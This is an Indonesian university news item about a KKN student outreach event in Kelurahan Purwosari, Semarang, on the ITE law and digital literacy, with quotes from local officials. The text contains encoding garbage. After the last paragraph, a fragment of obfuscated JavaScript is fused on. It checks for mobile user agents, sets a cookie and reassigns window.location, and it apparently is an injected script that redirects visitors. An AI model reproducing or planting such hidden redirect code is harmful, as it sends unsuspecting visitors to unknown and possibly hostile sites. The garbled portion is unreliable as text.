KKN UPGRIS Sosialisasi UU ITE dan Budaya Literasi Digital
Mahasiswa KKN Universitas PGRI Semarang yang ditempatkan di Kelurahan Purwosari Kecamatan Mijen Kota Semarang mengadakan Sosialisasi UU ITE dan Budaya Literasi Digital dengan tema ai???Pemberdayaan Masyarakat melalui Literasi Digital Menuju Desa/Keluraan Mandiri. Acara ini diselenggarakan Jumat pagi di Aula Kelurahan Purwosari. Tim KKN UPGRIS Semarang (16/02) bekerjasama dengan Diskominfo Kota Semarang sebagai pemateri. Selain itu, juga mengundang Babinkamtibmas dari Kelurahan Purwosari yang diwakili oleh AIPTU Khamim yang juga menjelaskan bagaimana pentingnya menggunakan transaksi elektronik dengan bijak.
Mengingat dalam beberapa pasal jika kita tidak menggunakannya dengan benar maka akan dikenakan hukum yaitu hukuman paling lama 6 tahun penjara dan denda paling banyak satu milyar rupiah. Hal inilah yang melatarbelakangi para mahasiswa Universitas PGRI Semarang untuk mengadakan sosialisasi UU ITE dan Budaya Literasi Digital di kelurahan Purwosari agar masyarakat setempa sadar hukum dan mampu menggunakan internet dengan bijak. Alhasil sebagai pendukung program pemerintah, pemuda diarahkan untuk memanfaatkan kemajuan teknologi dengan membudayakan literasi digital, meskipun masih banyak beberapa hal yang negatif akibat perkembangan teknologi. Seperti instannya ilmu pengetahuan, berbeda dengan budaya literasi yang masih menggunakan buku sehingga harus membaca buku secara keseluruhan untuk mendapatkan suatu pemahaman. Namun dengan adanya perkembangan teknologi ini, akses informasi sangatlah cepat dan lebih up to date terhadap berita terbaru sehingga akan mudah menyebar ke semua kalangan.
Sasaran dari sosialisasi UU ITE adalah kalangan remaja yang ada di kelurahan Purwosari. Acara ini dihadiri oleh perwakilan karang taruna dari masing-masing RW yang ada di kelurahan Purwosari. Setiap RW mendelegasikan 10 anggota karang tarunanya. Selain karang taruna, sosialisasi ini juga dihadiri olehAi?? Lurah Purwosari Junaedi, S.E. Beliau juga mengatakan bahwa ai??? Di era yang semakin modern banyak pemuda yang belum tahu bagaimana menggunakan sosial media secara bijak dan sering melakukan penyalahgunaan media sosial di kalangan masyarakat sehingga masyarakat harus memahami bahaya yang akan ditimbulkan dari tindakan tersebutai???, ujar Lurah Purwosari. Untuk mencegah hal tersebut, maka perlu diadakan Sosialisasi UU ITE dan Budaya Literasi Digital agar penggunaan internet tidak disalahgunakan. |b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}